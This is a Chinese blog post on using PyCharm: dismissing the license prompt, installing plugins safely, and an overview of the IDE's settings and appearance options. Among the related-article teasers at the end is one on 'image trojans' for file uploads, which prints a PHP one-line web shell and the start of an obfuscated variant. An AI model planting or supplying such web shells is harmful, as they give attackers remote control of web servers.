Python开发工具:pycharm使用注意事项以及设置

        上一篇文章写了pycharm的安装以及运行,但是在安装过程中遇到了一些问题,接下来详细解析安装过程中遇到的问题,注意事项以及设置配置依赖等信息

安装遇到的问题:

  • 协议许可证关闭不了:PyCharm安装完成后,打开PyCharm,同意协议下一步。弹出密钥许可证书,右下角有个exit按钮,点击了exit按钮,退出PyCharm,再次打开还是会弹出。注意想要使用它,需要登录PyCharm,然后点击sign up ,跳转网页登录注册,点击exit按钮,程序关闭,重新打开就能使用免费版的。

安装插件

安装步骤

打开PyCharm -> 选择setttings -> 选择plugins -> 输入并查询需要安装的插件 -> 查询出插件 -> 点击install安装插件

举例:

安装中文插件

输入中文,查询出相对应的插件,选择需要安装的插件,点击install安装

部分插件安装完成后需要重启,如果插件安装完成后提示重启IDE(Restart IDE),请按照提示操作。

弹出更新插件需要重启确认弹窗,点击restart重启就可以看到效果了

安装并重启完成的效果图

安装插件注意事项

在PyCharm的Settings -> Plugins里面查询和安装插件时,有几个关键的注意事项:

  1. 官方来源:确保你正在使用PyCharm内置的插件市场,这是官方提供的插件来源。官方插件市场经过JetBrains的审核,因此更加安全、可靠。

  2. 插件评价:在插件市场中,可以查看插件的评价和评级。这可以为你提供关于插件质量、稳定性和用户满意度的有用信息。尽量选择评价高、受用户欢迎的插件。

  3. 插件描述和文档:仔细阅读插件的描述和文档。这有助于你了解插件的功能、使用方法和任何必要的配置步骤。

  4. 兼容性和版本要求:确保插件与你的PyCharm版本兼容。插件可能要求特定的PyCharm版本或构建号。查看插件的兼容性信息,以避免安装后出现问题。

  5. 插件大小和安装时间:在安装插件之前,注意插件的大小和预计的安装时间。虽然这通常不是一个大问题,但对于非常大的插件,你可能需要考虑它们是否会对你的IDE性能产生影响。

  6. 安装过程:在安装插件时,确保你遵循PyCharm提供的步骤。通常,这涉及到点击“Install”按钮,然后等待插件下载和安装完成。

  7. 重启IDE:某些插件在安装后可能需要重启PyCharm才能生效。如果插件安装完成后提示重启IDE,请按照提示操作。

  8. 禁用或卸载插件:如果你安装的插件出现问题或不再需要,可以通过Settings -> Plugins来禁用或卸载它。禁用插件会停止其功能,而卸载插件会完全从PyCharm中移除它。

  9. 更新插件:定期检查已安装的插件是否有更新。插件的开发者可能会发布更新以修复错误、增加新功能或提高性能。通过Settings -> Plugins可以方便地查看和管理插件的更新。

遵循这些注意事项,你可以在PyCharm的Settings -> Plugins中安全、有效地查询和安装插件。

设置

外观行为:这部分设置主要关注PyCharm的外观和交互行为。你可以在这里定制IDE的界面风格、字体大小、颜色主题等,以及调整鼠标和键盘的交互方式,比如快捷键的自定义。详见下方。

按键映射器:这是用来管理PyCharm快捷键的工具。你可以查看、编辑或删除现有的快捷键映射,也可以创建新的映射。通过按键映射器,你可以将常用的操作绑定到最方便的快捷键上,提高工作效率。

插件:PyCharm的插件系统是它强大的功能之一。在这里,你可以浏览、安装、更新或卸载各种插件。插件可以扩展IDE的功能,比如提供新的语言支持、增强代码质量检查、集成版本控制系统等。

版本控制:这部分设置与代码的版本控制系统相关,如Git、SVN等。你可以在这里配置版本控制系统的参数,比如设置默认的版本控制系统、配置身份验证信息等。此外,还可以设置版本控制相关的操作,如提交代码、查看版本历史等。

项目:在这里,你可以创建、打开、关闭或删除项目。项目通常包含了一组相关的代码文件、配置文件和资源文件。PyCharm会根据项目的配置来加载相应的文件和设置,提供适合该项目的开发环境。

构建、执行部署:这部分设置与项目的构建、运行和部署相关。你可以配置构建工具(如Maven、Gradle等)的参数,设置运行配置(如运行环境、启动参数等),以及配置部署选项(如远程服务器的连接信息、部署脚本等)。

语言搜索:这是PyCharm中的一个搜索功能,用于快速查找与特定语言相关的代码、文档或资源。你可以在这里设置搜索的范围、关键词和过滤条件,以便快速找到你需要的信息。

工具:这部分包含了一些辅助开发的工具设置。比如,你可以设置代码分析工具(如代码质量检查器、重构工具等)的参数,配置数据库连接,或者设置其他与开发相关的工具。

设置同步:同步UI、代码和系统设置、按键映射、插件和工具。如果你使用多个设备或在不同的环境中使用PyCharm,设置同步功能可以帮助你同步这些环境中的设置和配置。这样,你就可以在不同的地方保持一致的开发环境,提高工作效率。

高级设置:这部分包含了PyCharm的一些高级设置选项。这些设置通常涉及IDE的底层行为、性能优化、内存管理等方面。只有当你需要更深入地定制IDE的行为或解决特定问题时,才需要关注这些高级设置。

外观与行为

  1. 外观:可以设置pycharm程序的主题颜色,字体等等,让代码看起来更清楚、更舒适。
  2. 新UI:通过最大限度减少屏幕上的混乱来帮助专注于工作,启用新UI需要重启。
  3. 菜单工具栏:设置屏幕顶部,侧边栏等的选项,比如“文件”、“编辑”、“查看”等。你可以在这里找到大部分的设置和命令。
  4. 系统设置:这里包括了关于PyCharm程序本身的一些设置,比如密码、代理、自动更新等。
  5. 文件颜色:你可以为不同类型的文件设置不同的颜色,这样在文件列表中就能一眼看出它们是什么类型的文件。
  6. 作用域:这通常用于设置某些功能或命令的适用范围。比如,你可能只想在某些特定的项目或文件类型中使用某个功能。
  7. 通知:PyCharm会在这里显示一些重要的信息,比如更新提示、错误消息等。你可以设置是否显示这些通知,以及它们显示的方式。
  8. 数据编辑器和查看器:这是用来查看和编辑数据的工具。你可以在这里调整数据的显示方式,或者进行数据的编辑和操作。
  9. 快速列表:是一个快速访问常用功能或文件的地方。你可以在这里快速找到你需要的东西,不用一个个去翻找。
  10. 路径变量:这是用来设置文件或目录路径的变量。通过设置路径变量,你可以更方便地引用和管理文件和目录。
  11. presentation Assistant:是一个帮助工具,它可以为你提供关于代码、函数或类的详细信息。比如,当你鼠标悬停在一个函数上时,它可能会显示这个函数的参数、返回值等信息。

外观设置

打开设置 -> 选择外观与行为 -> 外观

  • 主题:选择 PyCharm 的整体主题,如深色、浅色或其他自定义主题
  • 缩放比例
  • 字体:更改编辑器中代码的字体、大小和样式
  • 无障碍功能:支持屏幕阅读、使用对比度滚动、红绿色盲缺陷调整颜色
  • UI选项:通常允许你更改 PyCharm 的用户界面(UI)的某些方面,如选择界面中使用的图标样式、控制界面元素(如窗口、按钮等)的动画效果等
  • 抗锯齿:界面元素看起来更加细腻,特别是在高分辨率显示器上
  • 工具窗口:指的是 PyCharm 界面中的各个可停靠窗口,如“项目”、“运行”、“调试”等。这些窗口提供了各种功能和信息,帮助开发者更有效地编写、运行和调试代码。你可以通过拖拽、最小化、最大化或关闭这些窗口来定制你的工作空间。
  • 演示模式的缩放比

主题设置

主题样式:系统样式、自定义样式(可以在PyCharm 内置插件查询安装)

打开设置 -> 选择外观与行为 -> 外观 -> 主题

   总之,在进行外观设置时,以主题设置为例,你可以轻松定制PyCharm的界面风格。除了主题,还有许多其他设置选项可供调整,你可以根据提示进行操作,以便更好地优化你的开发环境。通过合理的设置,你可以让PyCharm的外观更加符合个人喜好,从而提高工作效率和编程体验。

人工智能第一课:Python

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/430441.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

低代码平台开发——基于React(文末送书)

目录 小程一言适用对象本书达成 书籍介绍作者简介内容介绍书籍目录阅读指导 小程送书 小程一言 《低代码平台开发——基于React》这本书主要围绕低代码平台和React技术的结合展开,为读者提供了关于低代码平台开发的理论和实践知识。 ## 书中内容简介 书中内容分为…

AI大预言模型——ChatGPT与AI绘图及论文高效写作

原文链接:AI大预言模型——ChatGPT与AI绘图及论文高效写作 2023年随着OpenAI开发者大会的召开,最重磅更新当属GPTs,多模态API,未来自定义专属的GPT。微软创始人比尔盖茨称ChatGPT的出现有着重大历史意义,不亚于互联网…

文件上传之图片马

图片马介绍 图片马&#xff1a;就是在正常图片中插入木马。 图片马的制作 1.我们先创建php木马文件1.php&#xff0c;内容有以下两种方式&#xff1a; <?php eval($_POST[a]); ?> /* 常规一句话木马 */ <?php $aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8; $myfile…

Python图像处理【21】基于卷积神经网络增强微光图像

基于卷积神经网络增强微光图像 0. 前言1. MBLLEN 网络架构2. 增强微光图像小结系列链接 0. 前言 在本节中&#xff0c;我们将学习如何基于预训练的深度学习模型执行微光/夜间图像增强。由于难以同时处理包括亮度、对比度、伪影和噪声在内的所有因素&#xff0c;因此微光图像增…

Qt::TabWidget

在Tab的右上角添加控件 QPushButton *add new QPushButton; add->setText(""); add->resize(30,30); ui->tabWidget->setCornerWidget(add,Qt::TopRightCorner); 结果&#xff1a; Tab添加子页 QWidget*newp new QWidget; ui->tabWidget->add…

Chain-of-thought prompting(链式思考提示)

1.大模型“涌现”的思维链 最近 AI 大厂的开发人员和高校的 NLP 研究人员&#xff0c;都在琢磨&#xff0c;怎么让大模型“涌现”。 所谓“涌现”&#xff0c;在大模型领域指的是当模型突破某个规模时&#xff0c;性能显著提升&#xff0c;表现出让人惊艳、意想不到的能力。比如…

【进击的算法】动态规划——01背包

&#x1f37f;本文主题&#xff1a;动态规划 01背包 背包问题 C/C 算法 &#x1f388;更多算法&#xff1a;基础回溯算法 基础动态规划 &#x1f495;我的主页&#xff1a;蓝色学者的主页 文章目录 一、前言二、概念✔️动态规划概念✔️01背包的概念 三、问题描述与讲解&#…

《PyTorch深度学习实践》第十一讲卷积神经网络进阶

一、 1、卷积核超参数选择困难&#xff0c;自动找到卷积的最佳组合。 2、1x1卷积核&#xff0c;不同通道的信息融合。使用1x1卷积核虽然参数量增加了&#xff0c;但是能够显著的降低计算量(operations) 3、Inception Moudel由4个分支组成&#xff0c;要分清哪些是在Init里定义…

数据库设计革命:逻辑模型的演变与面向对象的突破

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua&#xff0c;在这里我会分享我的知识和经验。&#x…

C 判断

判断结构要求程序员指定一个或多个要评估或测试的条件&#xff0c;以及条件为真时要执行的语句&#xff08;必需的&#xff09;和条件为假时要执行的语句&#xff08;可选的&#xff09;。 C 语言把任何非零和非空的值假定为 true&#xff0c;把零或 null 假定为 false。 下面…

YOLOv7优化改进:下采样创新篇 | 新颖的下采样ADown | YOLOv9

💡💡💡本文独家改进:新颖的下采样ADown来自于YOLOv9,助力YOLOv7,将ADown添加在backbone和head处,提供多个yaml改进方法 💡💡💡在多个私有数据集和公开数据集VisDrone2019、PASCAL VOC实现涨点 收录 YOLOv7原创自研 https://blog.csdn.net/m0_63774211/ca…

Jmeter学习系列之七:并发线程组Concurrency Thread Group详解

一、Concurrency Thread Group的介绍 Concurrency Thread Group提供了用于配置多个线程计划的简化方法该线程组目的是为了保持并发水平,意味着如果并发线程不够,则在运行线程中启动额外的线程和Standard Thread Group不同,它不会预先创建所有线程,因此不会使用额外的内存对…

【数据结构】插入排序详细图解(一看就懂)

&#x1f4af; 博客内容&#xff1a;【数据结构】插入排序详细图解&#xff08;一看就懂&#xff09; &#x1f600; 作  者&#xff1a;陈大大陈 &#x1f989;所属专栏&#xff1a;数据结构笔记 &#x1f680; 个人简介&#xff1a;一个正在努力学技术的准前端&#xff0c;…

CleanMyMac X软件的清理效果怎么样?好不好用

在实际使用中&#xff0c;CleanMyMac X的清理效果非常显著。以下是一些实际的使用案例和数据&#xff1a; 清理效果的实例&#xff1a;一位Mac用户反映&#xff0c;他的Mac电脑在使用了三年后&#xff0c;通过CleanMyMac X的清理&#xff0c;成功清除了超过62GB的垃圾数据。这…

Cesium 自定义Primitive - 矩形

一、创作思路 1、创建一个自定义CustomPrimitive 2、然后根据两个点&#xff0c;生成矩形 3、方便后期绘制矩形 二、实现代码 1、在vue的包中加入turf. npm install turf/turf 1、创建一个CustomRectanglePrimitive类,并加入更新的代码 import {Color,GeometryInstance,Groun…

【PPT技巧】PPT怎么设置修改文件密码?

PPT文件制作好了之后&#xff0c;保护内容防止在演示时出错是很重要的&#xff0c;那么如何将PPT文件设置成禁止修改模式呢&#xff1f;今天分享几个方法给大家。 方法一 将PPT文件直接保存或者另存为一份文件&#xff0c;在保存时&#xff0c;将文件格式选择为PowerPoint图片…

win系统如何同时安装MySQL5和MySQL8

win系统如何同时安装MySQL5和MySQL8 文章目录 win系统如何同时安装MySQL5和MySQL81、准备好两种版本的数据库2、下载后解压到你指定的目录3、手动配置安装MySQL5和8安装MySQL53.1创建my.ini文件3.2生成data文件夹 安装MySQL83.1创建my.ini文件3.2生成data文件夹 4、配置环境变量…

【.NET Core】深入理解IO - 读取器和编写器

【.NET Core】深入理解IO - 读取器和编写器 文章目录 【.NET Core】深入理解IO - 读取器和编写器一、概述二、BinaryReader和BinaryWriter2.1 BinartReader类2.2 BinaryWriter类 三、StreamReader和StreamWriter3.1 StreamReader类3.1 StreamWriter类StreamWriter类构造函数Str…

【Datawhale组队学习:Sora原理与技术实战】Attention和LLM

Attention Attention 注意力&#xff0c;从两个不同的主体开始。 论文&#xff1a;https://arxiv.org/pdf/1703.03906.pdf seq2seq代码仓&#xff1a;https://github.com/google/seq2seq 计算方法&#xff1a; 加性Attention&#xff0c;如&#xff08;Bahdanau attention&…

FL Studio2024中文版全新发布,水果音乐制作软件再升级

随着音乐制作技术的不断发展&#xff0c;FL Studio也在不断升级和完善。近日&#xff0c;备受期待的FL Studio2024中文版终于全新发布&#xff01;这一版本的推出为广大音乐爱好者带来了更加丰富的音乐制作体验和更多创新功能。 FL Studio2024中文版在继承了之前版本强大功能的…